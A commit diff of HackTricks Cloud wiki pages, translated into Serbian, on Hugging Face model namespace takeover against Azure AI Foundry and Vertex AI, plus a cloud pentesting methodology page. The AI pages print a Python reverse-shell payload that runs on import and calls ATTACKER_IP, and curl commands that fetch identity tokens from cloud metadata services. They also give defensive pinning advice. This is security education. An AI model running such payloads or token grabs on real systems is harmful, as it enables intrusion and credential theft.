mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -1,18 +1,18 @@
|
||||
# Azure - AI Foundry Post-Exploitation kroz Hugging Face Model Namespace Reuse
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenarij
|
||||
|
||||
- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za postavljanje jednim klikom.
|
||||
- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na legacy putanji.
|
||||
- Pipelines i katalogi koji povlače po imenu (bez commit pinovanja/integriteta) će rešiti na repozitorijume pod kontrolom napadača. Kada Azure postavi model, loader code se može izvršiti u okruženju endpointa i dodeliti RCE sa dozvolama tog endpointa.
|
||||
- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za raspoređivanje jednim klikom.
|
||||
- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na nasleđenoj putanji.
|
||||
- Pipelines i katalozi koji povlače modele samo po imenu (bez commit pinning/integrity) će rezolvirati na repozitorijume koje kontroliše napadač. Kada Azure deploy-uje model, loader code može da se izvrši u okruženju endpointa, omogućavajući RCE sa permisijama tog endpointa.
|
||||
|
||||
Uobičajeni slučajevi preuzimanja HF:
|
||||
- Brisanje vlasništva: Stara putanja vraća 404 dok ne dođe do takeover-a.
|
||||
- Prelazak vlasništva: Stara putanja vraća 307 ka novom authoru dok stari author postoji. Ako je stari author kasnije obrisan i ponovo registrovan, redirect prestaje da radi i repo napadača se servira na legacy putanji.
|
||||
Uobičajeni HF takeover slučajevi:
|
||||
- Ownership deletion: Stara putanja vraća 404 dok ne dođe do takeover-a.
|
||||
- Ownership transfer: Stara putanja vraća 307 na novog autora dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, redirect prestaje da važi i napadačev repozitorijum se servira na nasleđenoj putanji.
|
||||
|
||||
## Identifikovanje ponovo upotrebljivih namespace-a (HF)
|
||||
## Identifikovanje ponovo upotrebljivih namespace-ova (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## End-to-end tok napada protiv Azure AI Foundry
|
||||
## Kompletan tok napada protiv Azure AI Foundry
|
||||
|
||||
1) U Model Catalog pronađite HF models čiji su originalni autori obrisani ili prebačeni (stari author uklonjen) na HF.
|
||||
2) Ponovo registrujte napuštenog autora na HF i ponovo kreirajte ModelName.
|
||||
3) Objavite maliciozni repo sa loader kodom koji se izvršava pri import ili zahteva trust_remote_code=True.
|
||||
4) Deploy-ujte legacy Author/ModelName iz Azure AI Foundry. Platforma povuče attacker repo; loader se izvršava unutar Azure endpoint container/VM, što rezultira RCE sa permisijama endpoint-a.
|
||||
1) U Model Catalog, pronađi HF modele čiji su originalni autori obrisani ili prebačeni (stari autor uklonjen) na HF.
|
||||
2) Ponovo registruj napuštenog autora na HF i ponovo kreiraj ModelName.
|
||||
3) Objavi zlonamerni repo sa loader kodom koji se izvršava pri importu ili zahteva trust_remote_code=True.
|
||||
4) Rasporedi nasleđeni Author/ModelName iz Azure AI Foundry. Platforma povuče repo napadača; loader se izvršava unutar Azure endpoint container/VM, rezultujući RCE sa dozvolama endpointa.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
Primer fragmenta payload-a koji se izvršava pri importu (samo za demonstraciju):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -45,36 +45,36 @@ subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Napomene
|
||||
- AI Foundry deployments koji integrišu HF tipično kloniraju i importuju repo module koje referencira model’s config (npr. auto_map), što može dovesti do izvršavanja koda. Za neke putanje je potrebno trust_remote_code=True.
|
||||
- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte ga početnim foothold-om za pristup podacima i lateral movement unutar Azure.
|
||||
Beleške
|
||||
- AI Foundry implementacije koje integrišu HF obično kloniraju i importuju repo module koji se referenciraju u konfiguraciji modela (npr. auto_map), što može pokrenuti izvršavanje koda. Neki putevi zahtevaju trust_remote_code=True.
|
||||
- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte to početnim access foothold-om za pristup podacima i lateral movement unutar Azure.
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Istražite environment variables i MSI endpoints da biste pronašli tokene:
|
||||
- Enumerate environment variables and MSI endpoints for tokens:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Proverite montirane skladišne lokacije, artefakte modela i dostupne Azure servise koristeći pribavljeni token.
|
||||
- Razmotrite postojanost ostavljanjem poisoned model artifacts ako platforma ponovo preuzima iz HF.
|
||||
- Proverite montirano skladište, model artifacts i dostupne Azure services koristeći pribavljeni token.
|
||||
- Razmotrite persistence ostavljanjem poisoned model artifacts ako platforma ponovo povuče iz HF.
|
||||
|
||||
## Smernice za odbranu za korisnike Azure AI Foundry
|
||||
## Odbrambene smernice za korisnike Azure AI Foundry
|
||||
|
||||
- Zaključajte modele po commit-u pri učitavanju iz HF:
|
||||
- Pin models by commit when loading from HF:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Preslikajte proverenih HF modela u pouzdan interni registry i deploy-ujte ih odatle.
|
||||
- Kontinuirano skenirajte codebase-ove i defaults/docstrings/notebooks u potrazi za hard-coded Author/ModelName koji su obrisani/prebačeni; ažurirajte ili pin-ujte.
|
||||
- Proverite postojanje autora i poreklo modela pre deploymenta.
|
||||
- Mirror proverene HF modele u pouzdan interni registry i deploy-ujte odatle.
|
||||
- Kontinuirano skenirajte codebases i defaults/docstrings/notebooks radi hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte ili pin-ujte.
|
||||
- Proverite postojanje autora i poreklo modela pre deployment-a.
|
||||
|
||||
## Heuristike prepoznavanja (HTTP)
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Obrisani autor: author stranica 404; legacy model path 404 dok ne dođe do takeover-a.
|
||||
- Prebačeni model: legacy path 307 na novog autora dok stari autor postoji; ako stari autor kasnije bude obrisan i ponovo registrovan, legacy path može služiti sadržaj napadača.
|
||||
- Deleted author: author stranica vraća 404; legacy model path vraća 404 dok ne dođe do preuzimanja.
|
||||
- Transferred model: legacy path vraća 307 na novog autora dok stari autor postoji; ako se stari autor kasnije obriše i ponovo registruje, legacy path može služiti zlonamerni sadržaj.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
@@ -86,9 +86,9 @@ curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
## Izvori
|
||||
|
||||
- [Ponovna upotreba imenskog prostora modela: AI napad na lanac snabdevanja koji iskorišćava poverenje u ime modela (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Preimenovanje ili prenos repo-a](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Post Exploitation
|
||||
# GCP - Post-eksploatacija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -5,19 +5,19 @@
|
||||
## Scenarij
|
||||
|
||||
- Vertex AI Model Garden omogućava direktno postavljanje mnogih Hugging Face (HF) modela.
|
||||
- HF model identifiers are Author/ModelName. Ako je author/org na HF obrisan, isto ime autora može ponovo registrovati bilo ko. Napadači potom mogu kreirati repo sa istim ModelName na legacy path.
|
||||
- Pipelines, SDKs, or cloud catalogs koji povlače resurse samo po imenu (bez pinovanja/integriteta) će povući attacker-controlled repo. Kada se model deploy-uje, loader code iz tog repo-a može se izvršiti unutar Vertex AI endpoint kontejnera, dajući RCE sa dozvolama endpointa.
|
||||
- HF identifikatori modela su Author/ModelName. Ako je autor/org na HF obrisan, isti naziv autora može ponovo registrovati bilo ko. Napadači tada mogu kreirati repo sa istim ModelName na legacy putanji.
|
||||
- Pipelines, SDKs, ili cloud catalogs koji povlače po imenu bez pinovanja/integriteta će dohvatiti repo pod kontrolom napadača. Kada je model deploy-ovan, loader code iz tog repoa može se izvršiti unutar Vertex AI endpoint container-a, što dovodi do RCE sa permisijama endpoint-a.
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: Stari put vraća 404 dok neko ponovo ne registruje autora i ne objavi isti ModelName.
|
||||
- Ownership transfer: HF issues 307 redirects sa starog Author/ModelName na novog autora. Ako stari autor kasnije bude obrisan i ponovo registrovan od strane napadača, redirect lanac je prekinut i attacker’s repo služi na legacy path.
|
||||
Dva česta slučaja takeover-a na HF:
|
||||
- Brisanje vlasništva (Ownership deletion): Stari path vraća 404 dok neko ne ponovo registruje autora i ne objavi isti ModelName.
|
||||
- Prenos vlasništva (Ownership transfer): HF vraća 307 redirect-e sa starog Author/ModelName na novog autora. Ako je stari autor kasnije obrisan i ponovo registrovan od strane napadača, redirect lanac se prekida i napadačev repo služi na legacy putanji.
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
## Identifikacija ponovo upotrebljivih namespace-ova (HF)
|
||||
|
||||
- Old author deleted: stranica autora vraća 404; model path može vraćati 404 dok ne dođe do takeover-a.
|
||||
- Transferred models: stara putanja modela vraća 307 ka novom vlasniku dok stari autor postoji. Ako stari autor bude kasnije obrisan i ponovo registrovan, legacy path će pokazivati na attacker’s repo.
|
||||
- Stari autor obrisan: stranica autora vraća 404; model path može vraćati 404 dok se ne desi takeover.
|
||||
- Transferovani modeli: stari model path vraća 307 ka novom owner-u dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, legacy path će rešavati napadačev repo.
|
||||
|
||||
Quick checks with curl:
|
||||
Brze provere koristeći curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -30,20 +30,20 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
```
|
||||
## End-to-end tok napada protiv Vertex AI
|
||||
|
||||
1) Otkrivanje ponovo iskoristivih model namespace-ova koje Model Garden prikazuje kao deployable:
|
||||
- Pronađite HF modele u Vertex AI Model Garden koji i dalje imaju oznaku “verified deployable”.
|
||||
- Proverite na HF da li je originalni autor obrisan ili je model prebačen i stari autor naknadno uklonjen.
|
||||
1) Otkrivanje ponovo upotrebljivih model namespaces koje Model Garden navodi kao deployable:
|
||||
- Pronađite HF modele u Vertex AI Model Garden koji i dalje prikazuju “verified deployable”.
|
||||
- Proverite na HF da li je originalni author obrisan ili je model prebačen i stari author naknadno uklonjen.
|
||||
|
||||
2) Ponovo registrovati obrisanog autora na HF i ponovo kreirati isti ModelName.
|
||||
2) Re-register the deleted author on HF and recreate the same ModelName.
|
||||
|
||||
3) Objavite maliciozni repo. Uključite kod koji se izvršava pri učitavanju modela. Primeri koji se često izvršavaju tokom HF učitavanja modela:
|
||||
- Side effects u __init__.py repoa
|
||||
- Custom modeling_*.py ili processing kod na koji se poziva iz config/auto_map
|
||||
- Code paths that require trust_remote_code=True u Transformers pipelines
|
||||
3) Objavite maliciozni repo. Uključite kod koji se izvršava pri model load-u. Primeri koji se često izvršavaju tokom HF model load-a:
|
||||
- Side effects u __init__.py repo-a
|
||||
- Custom modeling_*.py ili processing kod referenciran u config/auto_map
|
||||
- Code paths koje zahtevaju trust_remote_code=True u Transformers pipelines
|
||||
|
||||
4) Vertex AI deployment nasleđenog Author/ModelName sada povlači napadačev repo. Loader se izvršava unutar Vertex AI endpoint containera.
|
||||
4) A Vertex AI deployment of the legacy Author/ModelName sada povlači attacker repo. The loader executes inside the Vertex AI endpoint container.
|
||||
|
||||
5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa privilegijama endpointa.
|
||||
5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa dozvolama endpoint-a.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
@@ -63,49 +63,49 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Napomene
|
||||
- Loaders u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju repo module koji su referencirani u model’s config (npr. `auto_map`), što može pokrenuti izvršavanje koda. Neke upotrebe zahtevaju `trust_remote_code=True`.
|
||||
- Endpoint tipično radi u posvećenom containeru sa ograničenim opsegom, ali predstavlja validan početni foothold za pristup podacima i lateralno kretanje u GCP.
|
||||
- Implementacije loader-a u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju module iz repo-a koje modelova konfiguracija navodi (npr. auto_map), što može pokrenuti izvršavanje koda. Neki slučajevi upotrebe zahtevaju trust_remote_code=True.
|
||||
- Endpoint obično radi u dedikovanom kontejneru sa ograničenim opsegom, ali predstavlja validan početni oslonac za pristup podacima i lateralno kretanje u GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
## Saveti za post-eksploataciju (Vertex AI Endpoint)
|
||||
|
||||
Kada kod radi unutar endpoint container-a, razmotrite:
|
||||
- Enumerisanje environment varijabli i metadata za kredencijale/tokene
|
||||
- Pristupanje prikačenom skladištu ili montiranim artefaktima modela
|
||||
- Interakcija sa Google APIs koristeći identitet service account-a (Document AI, Storage, Pub/Sub, itd.)
|
||||
- Perzistencija u artefaktu modela ako platforma ponovo povuče repo
|
||||
Kada se kod pokrene unutar kontejnera endpointa, razmislite o:
|
||||
- Enumerisanju promenljivih okruženja i metapodataka radi nalaženja kredencijala/tokena
|
||||
- Pristupu prikačenom skladištu ili montiranim artefaktima modela
|
||||
- Interakciji sa Google API-ima koristeći identitet servisnog naloga (Document AI, Storage, Pub/Sub, itd.)
|
||||
- Persistenciji u artefaktu modela ako platforma ponovo povuče repo
|
||||
|
||||
Enumerišite instance metadata ako su dostupne (zavisno od containera):
|
||||
Enumerišite metapodatke instance ako su dostupni (zavisno od kontejnera):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Odbrambene smernice za korisnike Vertex AI
|
||||
|
||||
- Pin models by commit u HF loaders da sprečite tihu zamenu:
|
||||
- Zaključajte modele po commit-u u HF loaders da biste sprečili tihu zamenu:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Preslikajte proverene HF modele u pouzdano interno skladište/registar artefakata i raspoređujte ih odatle.
|
||||
- Neprestano skenirajte kodne baze i konfiguracije zbog hardkodovanih Author/ModelName koji su izbrisani/prebačeni; ažurirajte na nove namespace-ove ili pinujte po commit-u.
|
||||
- U Model Garden, verifikujte poreklo modela i postojanje autora pre raspoređivanja.
|
||||
- Preslikajte proverene HF modele u pouzdano interno skladište/artifact registry i deploy-ujte odatle.
|
||||
- Neprekidno skenirajte codebase-ove i konfiguracione fajlove za hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte na nove namespace-ove ili ih pin-ujte na commit.
|
||||
- U Model Garden, verifikujte poreklo modela i postojanje autora pre deployment-a.
|
||||
|
||||
## Heuristike prepoznavanja (HTTP)
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Izbrisan autor: stranica autora vraća 404; nasleđena putanja modela vraća 404 dok ne dođe do preuzimanja.
|
||||
- Prebačen model: nasleđena putanja vraća 307 ka novom autoru dok stari autor postoji; ako je stari autor kasnije obrisan i ponovo registrovan, nasleđena putanja poslužuje sadržaj napadača.
|
||||
- Deleted author: author page 404; legacy model path 404 until takeover.
|
||||
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Međureferencije
|
||||
## Unakrsne reference
|
||||
|
||||
- Pogledajte širu metodologiju i napomene o supply-chain:
|
||||
- Pogledajte širu metodologiju i napomene o lancu snabdevanja:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Izvori
|
||||
## Reference
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting Cloud Methodology
|
||||
# Pentesting Cloud Metodologija
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,39 +6,39 @@
|
||||
|
||||
## Osnovna metodologija
|
||||
|
||||
Svaki cloud ima svoje specifičnosti, ali generalno postoje neke **uobičajene stvari koje pentester treba da proveri** kada se testira cloud okruženje:
|
||||
Svaki cloud ima svoje osobenosti, ali generalno postoji nekoliko **zajedničkih stvari koje pentester treba da proveri** kada testira cloud okruženje:
|
||||
|
||||
- **Benchmark checks**
|
||||
- Ovo će ti pomoći da **razumeš obim** okruženja i **korišćene servise**
|
||||
- Takođe će ti omogućiti da brzo nađeš neke **brze miskonfiguracije**, pošto većinu ovih testova možeš izvesti uz pomoć **automatizovanih alata**
|
||||
- **Services Enumeration**
|
||||
- Verovatno nećeš pronaći mnogo dodatnih miskonfiguracija ovde ako si ispravno uradio benchmark tests, ali možeš naći neke koje nisu bile obuhvaćene tokom benchmark testa.
|
||||
- Ovo će ti omogućiti da znaš **šta se tačno koristi** u cloud okruženju
|
||||
- **Benchmark provere**
|
||||
- Ovo će vam pomoći da **razumete veličinu** okruženja i **korišćene servise**
|
||||
- Takođe će vam omogućiti da pronađete neke **brze greške u konfiguraciji** pošto većinu ovih testova možete izvršiti pomoću **automatizovanih alata**
|
||||
- **Enumeracija servisa**
|
||||
- Verovatno nećete naći mnogo više grešaka u konfiguraciji ovde ako ste pravilno izvršili benchmark testove, ali možete naći neke koje se nisu tražile u benchmark testu.
|
||||
- Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud okruženju
|
||||
- Ovo će mnogo pomoći u narednim koracima
|
||||
- **Check exposed assets**
|
||||
- Ovo se može raditi tokom prethodnog odeljka — treba da **otkriješ sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti tome.
|
||||
- Ovde uzimam u obzir **manualno izloženu infrastrukturu** kao što su instances sa web stranama ili drugim otvorenim portovima, ali i druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
|
||||
- Zatim treba da proveriš **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? miskonfiguracije u izloženom servisu?)
|
||||
- **Check permissions**
|
||||
- Ovde bi trebalo da **otkriješ sve dozvole svake role/korisnika** unutar clouda i kako se one koriste
|
||||
- Previše **veoma privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi trebalo da bude urađena tokom benchmark tests
|
||||
- Ako klijent koristi OpenID ili SAML ili neku drugu **federation**, možda ćeš morati da ih pitaš za dodatne **informacije** o **kako se dodeljuje svaka uloga** (nije isto ako je admin uloga dodeljena 1 korisniku ili 100)
|
||||
- Nije **dovoljno samo otkriti** koji korisnici imaju **admin** permissions "\*:\*". Postoji mnogo **ostalih permisija** koje, u zavisnosti od korišćenih servisa, mogu biti vrlo **osetljive**.
|
||||
- Štaviše, postoje **potencijalni privesc** putevi koji se mogu ispratiti zloupotrebom permisija. Sve to treba uzeti u obzir i treba izvesti **što je moguće više privesc puteva**.
|
||||
- **Check Integrations**
|
||||
- Veoma je verovatno da se u cloud okruženju koriste **integrations with other clouds or SaaS**.
|
||||
- Za **integrations of the cloud you are auditing** sa drugim platformama treba da obavestiš **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitaš **koliko je osetljiva** akcija koja se obavlja.\
|
||||
Na primer, ko može da upiše u AWS bucket iz kojeg GCP dobija podatke (pitaj koliko je ta radnja osetljiva u GCP prilikom obrade tih podataka).
|
||||
- Za **integrations inside the cloud you are auditing** od eksternih platformi, treba da pitaš **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proveriš kako se ti podaci koriste.\
|
||||
Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitaš ko ima pristup da izmeni taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.
|
||||
- **Provera izloženih resursa**
|
||||
- Ovo može biti urađeno tokom prethodnog dela, potrebno je da **otkrijete sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti.
|
||||
- Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugim izloženim portovima, i takođe na druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
|
||||
- Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? greške u konfiguraciji izloženog servisa?)
|
||||
- **Provera dozvola**
|
||||
- Ovde treba da **utvrdite sve dozvole svake uloge/korisnika** u cloud-u i kako se koriste
|
||||
- Previše **visoko privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi već trebalo da je urađena u benchmark testovima
|
||||
- Ako klijent koristi OpenID, SAML ili neku drugu **federation**, možda ćete morati da od njih zatražite dodatne **informacije** o **kako se svaka uloga dodeljuje** (nije isto da je admin uloga dodeljena jednom korisniku ili 100)
|
||||
- Nije dovoljno da se utvrdi koji korisnici imaju **admin** dozvole "*:*". Postoji mnogo **ostalih dozvola** koje, u zavisnosti od korišćenih servisa, mogu biti veoma **osetljive**.
|
||||
- Štaviše, postoje **potencijalni privesc** načini koji se mogu ispratiti zloupotrebom dozvola. Sve ovo treba uzeti u obzir i prijaviti **što više privesc puteva koliko je moguće**.
|
||||
- **Provera integracija**
|
||||
- Veoma je verovatno da su **integracije sa drugim cloud-ovima ili SaaS** korišćene unutar cloud okruženja.
|
||||
- Za **integracije cloud-a koje auditirate** sa drugim platformama treba da obavestite **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitate **koliko je osetljiva** akcija koja se izvršava.\
|
||||
Na primer, ko može da upisuje u AWS bucket iz kojeg GCP dobija podatke (pitajte koliko je osetljiva ta radnja u GCP prilikom obrade tih podataka).
|
||||
- Za **integracije unutar cloud-a koji auditirate** iz eksternih platform, treba da pitate **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proverite kako se ti podaci koriste.\
|
||||
Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitate ko ima pristup da modifikuje taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.
|
||||
|
||||
## Alati za više cloud okruženja
|
||||
## Multi-Cloud alati
|
||||
|
||||
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom odeljku.
|
||||
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom delu.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
|
||||
Alat za **identifikovanje loših konfiguracija i privesc path u cloud-ovima i između cloud-ova/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Podržava **AWS, GCP & Azure**. Proverite kako da konfigurišete svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Podržava **AWS, GCP & Azure**. Pogledajte kako konfigurisati svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -168,9 +168,9 @@ steampipe check all
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Proveri sve projekte</summary>
|
||||
<summary>Proverite sve projekte</summary>
|
||||
|
||||
Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete pratiti uputstva iz sledećeg skripta
|
||||
Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete jednostavno slediti uputstva iz sledećeg skripta
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Za proveru **ostalih GCP insights** (korisno za enumeraciju servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Za proveru **ostalih GCP uvida** (korisno za nabrajanje servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Za proveru Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Za pregled Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Više GCP pluginova za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Više GCP plugina za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -227,7 +227,7 @@ steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Za proveru Terraform AWS koda: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Više AWS plugina za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Više AWS pluginova za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
@@ -238,11 +238,11 @@ Zahteva python2.7 i izgleda neodržavano.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus ima skeniranje _**Audit Cloud Infrastructure**_ koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su dodatne konfiguracije u **Azure** da bi se dobio **Client Id**.
|
||||
Nessus ima _**Audit Cloud Infrastructure**_ skeniranje koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su neke dodatne konfiguracije u **Azure** kako bi se dobio **Client Id**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) od Cloud Providers.
|
||||
Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography je Python alat koji objedinjava infrastrukturalne resurse i odnose između njih u intuitivnom grafičkom prikazu pokretanom Neo4j bazom podataka.
|
||||
Cartography je Python alat koji objedinuje infrastrukturne resurse i veze između njih u intuitivnom grafičkom prikazu zasnovanom na Neo4j bazi podataka.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
